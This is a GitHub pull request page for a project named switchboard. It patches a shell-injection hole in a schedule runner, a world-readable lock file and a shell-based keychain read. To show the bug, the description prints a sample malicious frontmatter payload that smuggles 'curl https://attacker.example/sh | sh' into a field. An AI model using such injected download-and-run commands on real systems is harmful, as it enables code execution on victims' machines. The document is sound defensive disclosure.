Skip to content

Fix some vulnerabilities#32

Open
joeytwiddle wants to merge 5 commits into
doctly:mainfrom
joeytwiddle:fix-scheduler-vulnerability
Open

Fix some vulnerabilities#32
joeytwiddle wants to merge 5 commits into
doctly:mainfrom
joeytwiddle:fix-scheduler-vulnerability

Conversation

@joeytwiddle

Copy link
Copy Markdown

Fixes a shell injection in the schedule runner plus three related issues.

Scheduler injection (high). buildScheduleCommand string-concatenated YAML frontmatter values from .claude/commands/schedule-*.md into a bash -c command. A malicious schedule-*.md in a cloned repo could gain code execution within 60s of opening the project.

Example payload that previously worked:

cli:
  model: 'x"; curl https://attacker.example/sh | sh; echo "'
  max-budget-usd: '1; echo "pwned"'

Fix. buildScheduleCommand now returns an argv array; a new quoteArgvForShell helper shell-quotes each token per shell family (POSIX, PowerShell, cmd). Same treatment applied to the interactive open-terminal path (worktreeName, addDirs, etc.) where the same pattern was fragile. Input validation rejects non-numeric max-budget-usd and control characters in scalar fields.

Also fixed:

  • MCP lock file written with mode: 0o600 (was world-readable with the auth token inside).
  • Keychain read in claude-auth.js switched from execSync (shell) to execFileSync (argv) so $USER is no longer interpolated into a shell string.

Test plan

  • npm test — 11/11 pass (10 new injection tests)
  • Live bash verification: malicious frontmatter payloads pass as literal argv tokens, none execute
  • Manual: Check that normal schedule-test.md still runs end-to-end
  • Manual: Check that stat -f %Mp%Lp ~/.claude/ide/<port>.lock reports 600

joeytwiddle and others added 5 commits April 20, 2026 15:30
Scheduler scanned every project's .claude/commands/schedule-*.md and
string-concatenated YAML frontmatter values (model, max-budget-usd,
allowed-tools, add-dirs, append-system-prompt) into a bash -c command.
A malicious schedule file in any cloned repo gave code execution within
60 seconds of opening the project.

Fix: buildScheduleCommand now returns an argv array; runScheduleCommand
shell-quotes each token via a new quoteArgvForShell helper that dispatches
on shell family (POSIX single-quote, PowerShell doubled-quote, cmd
double-quote). Added input validation that rejects control chars in
scalars and requires max-budget-usd to be numeric.

Tests cover injection attempts as literal argv tokens, input-validation
rejections, and a live-bash simulation of a malicious frontmatter.

Co-Authored-By: Claude Opus 4.7 (1M context) <[email protected]>
H2/H3: Apply the same argv-quoter fix to the interactive open-terminal
path. worktreeName, addDirs, permissionMode, and appendSystemPrompt are
now pushed into an argv array and shell-quoted per-shell before being
concatenated into the -c command string. preLaunchCmd remains a raw
shell snippet (by design — "e.g. aws-vault exec profile --"), but now
rejects newlines to prevent hidden multi-line injection. Also removes
the tempfile + $(cat '...') dance for appendSystemPrompt since the
quoter handles multi-line strings directly.

M4: MCP lock file now written with mode 0o600. Previously defaulted to
0o644 (world-readable), letting any local process read the auth token
and issue MCP tool calls to the session.

Co-Authored-By: Claude Opus 4.7 (1M context) <[email protected]>
readFromKeychain built a shell string with $USER interpolated via
execSync. Normally $USER contains only a plain username, but it can
be influenced by the launcher's environment (launchctl setenv, a
.plist, a wrapper script), and any shell metacharacters would be
interpreted before reaching `security`.

Swap to execFileSync with an argv array. `security` receives the
account name and service name as direct argv tokens — no shell, no
string to escape.

Co-Authored-By: Claude Opus 4.7 (1M context) <[email protected]>
ymajoros pushed a commit to ymajoros/switchboard that referenced this pull request Jun 4, 2026
…s-collection

feat(stats): collect token/tool/message metrics for the stats screen
aaaronmiller pushed a commit to aaaronmiller/switchboard that referenced this pull request Jun 4, 2026
- Path sandbox restored for read/save-file-for-panel with symlink resolution
  via fs.realpathSync (FULL-AUDIT #4/doctly#32 + IMPROVEMENTS B6). Allowed roots:
  Claude data dirs + active session project paths. Blocked reads are logged.
- Restored the missing watch-session-file / unwatch-session-file IPC handlers
  (lost in refactor) — tails session JSONL and emits session-activity events for
  cross-CLI sparklines — and clean them up on PTY exit (B4: no watcher leak).
- MCP openDiff now times out after 5 min so an unanswered diff can't pin the RPC
  open forever (B7); timeout resolves as DIFF_REJECTED + closes the tab.
- set-setting validates key/shape/size (rejects non-object or >256KB) (doctly#35).
- get-agent-stats returns errorMessage instead of a silent error flag (B10).

https://claude.ai/code/session_012RHiNTayAUjwj9byNCwhwh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants